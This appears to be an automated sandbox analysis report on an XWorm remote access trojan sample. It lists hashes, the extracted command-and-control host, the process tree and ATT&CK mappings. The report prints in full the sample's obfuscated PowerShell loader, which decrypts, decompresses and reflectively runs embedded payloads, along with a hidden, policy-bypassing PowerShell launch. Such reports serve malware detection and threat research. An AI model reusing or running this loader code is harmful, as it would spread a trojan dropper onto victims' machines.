xworm | 582241fc0a328832d3ae8c80fd1025b7ca5fc16dd89739a6131b87e77c855651

General

Target

582241fc0a328832d3ae8c80fd1025b7ca5fc16dd89739a6131b87e77c855651.cmd
Size

82KB
MD5

8b962a01cb7b585d3308701068180e39
SHA1

56528670260aa0d4b60fbffdc7566a3654112f8d
SHA256

582241fc0a328832d3ae8c80fd1025b7ca5fc16dd89739a6131b87e77c855651
SHA512

56b5012d96decb4fabef930becdc35593fbc34fcc0bfde36316a07586a2ad9d605b989db87f22ba5c0757aa78417ac7c79afee29a4cd0719aac8306a2ada56e7
SSDEEP

1536:orogwg5pVXbSClWeINO/7lP3zsY8rTVRIJ9KPhv74+bha95O:7SpgeIo/7lP3OWahc+bha95O

Score

10^/10

xworm execution rat trojan

Malware Config

Extracted

Family

xworm

Version

5.0

C2

x5387400.duckdns.org:8896

Mutex

F4ssR8b386Bj6q2g

Attributes

install_file
USB.exe

aes.plain

Signatures

Detect Xworm Payload 1 IoCs

Processes:

resource	yara_rule
behavioral2/memory/3020-19-0x0000025847500000-0x0000025847510000-memory.dmp	family_xworm

Xworm
Xworm is a remote access trojan written in C#.
trojan rat xworm
Blocklisted process makes network request 1 IoCs

Processes:

powershell.exe

flow pid process

33 3020 powershell.exe
Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs
Run Powershell and hide display window.
execution

PowerShell
T1059.001

Processes:

powershell.exe

pid process

3020 powershell.exe
Suspicious behavior: EnumeratesProcesses 3 IoCs

Processes:

powershell.exe

pid process

3020 powershell.exe
3020 powershell.exe
3020 powershell.exe
Suspicious use of AdjustPrivilegeToken 1 IoCs

Processes:

powershell.exe

description pid process

Token: SeDebugPrivilege 3020 powershell.exe
Suspicious use of SetWindowsHookEx 1 IoCs

Processes:

powershell.exe

pid process

3020 powershell.exe

flow	pid	process
33	3020	powershell.exe

pid	process
3020	powershell.exe

pid	process
3020	powershell.exe
3020	powershell.exe
3020	powershell.exe

description	pid	process
Token: SeDebugPrivilege	3020	powershell.exe

pid	process
3020	powershell.exe

Suspicious use of WriteProcessMemory 6 IoCs

Processes:

cmd.exe

description	pid	process	target process
PID 4448 wrote to memory of 3932	4448	cmd.exe	cmd.exe
PID 4448 wrote to memory of 3932	4448	cmd.exe	cmd.exe
PID 4448 wrote to memory of 5112	4448	cmd.exe	cmd.exe
PID 4448 wrote to memory of 5112	4448	cmd.exe	cmd.exe
PID 4448 wrote to memory of 3020	4448	cmd.exe	powershell.exe
PID 4448 wrote to memory of 3020	4448	cmd.exe	powershell.exe

C:\Windows\system32\cmd.exe
C:\Windows\system32\cmd.exe /c "C:\Users\Admin\AppData\Local\Temp\582241fc0a328832d3ae8c80fd1025b7ca5fc16dd89739a6131b87e77c855651.cmd"
1⤵
- Suspicious use of WriteProcessMemory
PID:4448

C:\Windows\system32\cmd.exe
cmd /c "set __=^&rem"
2⤵
PID:3932

C:\Windows\system32\cmd.exe
C:\Windows\system32\cmd.exe /S /D /c" echo function decrypt_function($param_var){ $aes_var=[System.Security.Cryptography.Aes]::Create(); $aes_var.Mode=[System.Security.Cryptography.CipherMode]::CBC; $aes_var.Padding=[System.Security.Cryptography.PaddingMode]::PKCS7; $aes_var.Key=[System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('76J7bEzHtX3VLkuJZ3oCAIh8u4PXgvIrPrnTbE0uYjM='); $aes_var.IV=[System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('PvXjXUmyPwzlCxyLb5VMvA=='); $decryptor_var=$aes_var.CreateDecryptor(); $return_var=$decryptor_var.TransformFinalBlock($param_var, 0, $param_var.Length); $decryptor_var.Dispose(); $aes_var.Dispose(); $return_var;}function decompress_function($param_var){ $WAoSC=New-Object System.IO.MemoryStream(,$param_var); $DqjpG=New-Object System.IO.MemoryStream; $gTgrK=New-Object System.IO.Compression.GZipStream($WAoSC, [IO.Compression.CompressionMode]::Decompress); $gTgrK.CopyTo($DqjpG); $gTgrK.Dispose(); $WAoSC.Dispose(); $DqjpG.Dispose(); $DqjpG.ToArray();}function execute_function($param_var,$param2_var){ $KJzOY=[System.Reflection.Assembly]::('daoL'[-1..-4] -join '')([byte[]]$param_var); $SIuiX=$KJzOY.EntryPoint; $SIuiX.Invoke($null, $param2_var);}$psbhS = 'C:\Users\Admin\AppData\Local\Temp\582241fc0a328832d3ae8c80fd1025b7ca5fc16dd89739a6131b87e77c855651.cmd';$host.UI.RawUI.WindowTitle = $psbhS;$KrZUn=[System.IO.File]::('txeTllAdaeR'[-1..-11] -join '')($psbhS).Split([Environment]::NewLine);foreach ($gGiAE in $KrZUn) { if ($gGiAE.StartsWith('zVnkucItcDIJmveRwHFJ')) { $FQbRn=$gGiAE.Substring(20); break; }}$payloads_var=[string[]]$FQbRn.Split('\');$payload1_var=decompress_function (decrypt_function ([Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($payloads_var[0].Replace('#', '/').Replace('@', 'A'))));$payload2_var=decompress_function (decrypt_function ([Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($payloads_var[1].Replace('#', '/').Replace('@', 'A'))));execute_function $payload1_var $null;execute_function $payload2_var (,[string[]] ('')); "
2⤵
PID:5112

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -noprofile -windowstyle hidden -ep bypass
2⤵
- Blocklisted process makes network request
- Command and Scripting Interpreter: PowerShell
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of SetWindowsHookEx
PID:3020

Network

MITRE ATT&CK Matrix ATT&CK v13

Initial Access

Execution

Command and Scripting Interpreter

1

T1059

PowerShell

1

T1059.001

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

Lateral Movement

Collection

Exfiltration

Command and Control

Impact

Resource Development

Reconnaissance

Replay Monitor

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Downloads

C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_p1rdlnbs.bh4.ps1
Filesize
60B

MD5
d17fe0a3f47be24a6453e9ef58c94641

SHA1
6ab83620379fc69f80c0242105ddffd7d98d5d9d

SHA256
96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

SHA512
5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

Download Submit
memory/3020-17-0x00007FFE2BA60000-0x00007FFE2BB1E000-memory.dmp

Filesize
760KB

Download
memory/3020-16-0x00007FFE2BE10000-0x00007FFE2C005000-memory.dmp

Filesize
2.0MB

Download
memory/3020-11-0x00007FFE0D4E0000-0x00007FFE0DFA1000-memory.dmp

Filesize
10.8MB

Download
memory/3020-12-0x00007FFE0D4E0000-0x00007FFE0DFA1000-memory.dmp

Filesize
10.8MB

Download
memory/3020-13-0x00000258478B0000-0x00000258478F4000-memory.dmp

Filesize
272KB

Download
memory/3020-14-0x0000025847980000-0x00000258479F6000-memory.dmp

Filesize
472KB

Download
memory/3020-1-0x0000025847370000-0x0000025847392000-memory.dmp

Filesize
136KB

Download
memory/3020-0-0x00007FFE0D4E3000-0x00007FFE0D4E5000-memory.dmp

Filesize
8KB

Download
memory/3020-15-0x00000258473C0000-0x00000258473D0000-memory.dmp

Filesize
64KB

Download
memory/3020-18-0x00000258474F0000-0x0000025847500000-memory.dmp

Filesize
64KB

Download
memory/3020-19-0x0000025847500000-0x0000025847510000-memory.dmp

Filesize
64KB

Download
memory/3020-20-0x00007FFE0D4E0000-0x00007FFE0DFA1000-memory.dmp

Filesize
10.8MB

Download
memory/3020-22-0x00007FFE0D4E3000-0x00007FFE0D4E5000-memory.dmp

Filesize
8KB

Download
memory/3020-23-0x00007FFE0D4E0000-0x00007FFE0DFA1000-memory.dmp

Filesize
10.8MB

Download
memory/3020-24-0x00007FFE0D4E0000-0x00007FFE0DFA1000-memory.dmp

Filesize
10.8MB

Download

Analysis

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